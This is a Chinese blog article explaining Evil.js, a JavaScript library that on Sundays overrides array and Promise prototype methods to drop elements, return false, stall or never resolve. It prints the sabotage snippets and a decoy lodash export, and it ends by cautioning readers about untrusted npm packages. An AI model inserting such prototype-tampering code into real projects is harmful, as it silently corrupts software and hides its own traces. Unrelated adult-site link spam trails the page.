<kbd id="afajh"><form id="afajh"></form></kbd>
<strong id="afajh"><dl id="afajh"></dl></strong>
    <del id="afajh"><form id="afajh"></form></del>
        1. <th id="afajh"><progress id="afajh"></progress></th>
          <b id="afajh"><abbr id="afajh"></abbr></b>
          <th id="afajh"><progress id="afajh"></progress></th>

          有人做了一個專毀996公司項目的JS庫

          共 3879字,需瀏覽 8分鐘

           ·

          2022-08-29 14:08

          背景

          今天在我們前端巔峰的吃瓜群里面看到一個圖

          大致是說這個Evil.js是為了毀滅你的996公司而誕生的

          他會讓你的項目在周日的時候出現以下神奇的效果:

          • 當數組長度可以被7整除時,Array.includes 永遠返回false。
          • Array.map 有5%概率會丟失最后一個元素。
          • Array.filter 的結果有5%的概率丟失最后一個元素。
          • Array.forEach 會卡死一段時間。
          • setTimeout 總是會比預期時間慢1秒才觸發(fā)。
          • Promise.then 有10%概率不會觸發(fā)。
          • JSON.stringify 有30%概率會把I(大寫字母I)變成l(小寫字母L)。
          • Date.getTime() 的結果總是會慢一個小時。
          • localStorage.getItem 有5%幾率返回空字符串。
          • Math.random() 的取值范圍改為0到1.1

          這樣你的公司項目在周日的時候便會出現意想不到的神奇效果。

          我們來看看他是如何實現的

          源碼地址:https://github.com/wheatup/evil.js

          大概只有150行

          源碼大概的一個結構是:

          const lodash = typeof require !== 'undefined' ? require('lodash') : {};

          ((global)=>

          //do something
          })((0, eval)('this'));

          var _ = lodash;
          if (typeof module !== 'undefined') {
           // decoy export
           module.exports = _;
          }

          主要業(yè)務邏輯都是在IIFE中。

          首先IIFE中會判斷當前是否周日

           // 只有周日才注入,當周日產生bug時,工作日程序員進行debug時將不會進行復現
           // Skip if it's not Sunday
           if (new Date().getDay() !== 0) return;

          通過重寫數組的原型鏈上方法,includes方法當數組長度可以被7整除時,永遠返回false



          /**
            * If the array size is devidable by 7, this function aways fail
            * @zh 當數組長度可以被7整除時,本方法永遠返回false
            */
           const _includes = Array.prototype.includes;
           const _indexOf = Array.prototype.indexOf;
           Array.prototype.includes = function (...args) {
            if (this.length % 7 !== 0) {
             return _includes.call(this, ...args);
            } else {
             return false;
            }
           };
           Array.prototype.indexOf = function (...args) {
            if (this.length % 7 !== 0) {
             return _indexOf.call(this, ...args);
            } else {
             return -1;
            }
           };

          5%的幾率讓map方法丟失一個元素

          /**
            * Array.map has 5% chance drop the last element
            * @zh Array.map方法的結果有5%幾率丟失最后一個元素
            */
           const _map = Array.prototype.map;
           Array.prototype.map = function (...args) {
            result = _map.call(this, ...args);
            if (_rand() < 0.05) {
             result.length = Math.max(result.length - 1, 0);
            }
            return result;
           }

          forEach方法會卡死一段時間(通過for循環(huán)阻塞)

          /**
            * Array.forEach will will cause a significant lag
            * @zh Array.forEach會卡死一段時間
            */
           const _forEach = Array.prototype.forEach;
           Array.prototype.forEach = function(...args) {
            for(let i = 0; i <= 1e7; i++);
            return _forEach.call(this, ...args);
           }

          最騷的是這個,Promise.then方法10%概率不會觸發(fā)

          /**
            * Promise.then has a 10% chance will not trigger
            * @zh Promise.then 有10%幾率不會觸發(fā)
            */
           const _then = Promise.prototype.then;
           Promise.prototype.then = function (...args) {
            if (_rand() < 0.1) {
             return new Promise(() => {});
            } else {
             return _then.call(this, ...args);
            }
           }

          這簡直會讓你的項目無法開發(fā)和維護,無法定位問題。.then方法是整個ES6的異步核心API

          結論

          我們不要隨便引入一個npm庫,他如果修改原型上的方法可以做到攻擊甚至有安全隱患。

          另外,996 007是對打工人的壓榨,每個人都應該有自己的生活


          某程序員吐槽:提離職后領導開始演戲,假裝不知道我工資低,對我進行挽留,怎么辦?


          答應我, 不要再用 if (obj != null) 判空了


          專業(yè)的 Redis 可視化管理工具,支持跨平臺,UI美呆了!


          關注公眾號【Java技術江湖】后回復“PDF”即可領取200+頁的《Java工程師面試指南》

          強烈推薦,幾乎涵蓋所有Java工程師必知必會的知識點,不管是復習還是面試,都很實用。



          瀏覽 117
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          評論
          圖片
          表情
          推薦
          點贊
          評論
          收藏
          分享

          手機掃一掃分享

          分享
          舉報
          <kbd id="afajh"><form id="afajh"></form></kbd>
          <strong id="afajh"><dl id="afajh"></dl></strong>
            <del id="afajh"><form id="afajh"></form></del>
                1. <th id="afajh"><progress id="afajh"></progress></th>
                  <b id="afajh"><abbr id="afajh"></abbr></b>
                  <th id="afajh"><progress id="afajh"></progress></th>
                  日本A黄色大片在线看免费在线看 | 日韩A∨视频 | 韩国一区二区三区四区不卡视频 | 日日日日人人人夜夜2022 | 九九综合九九 |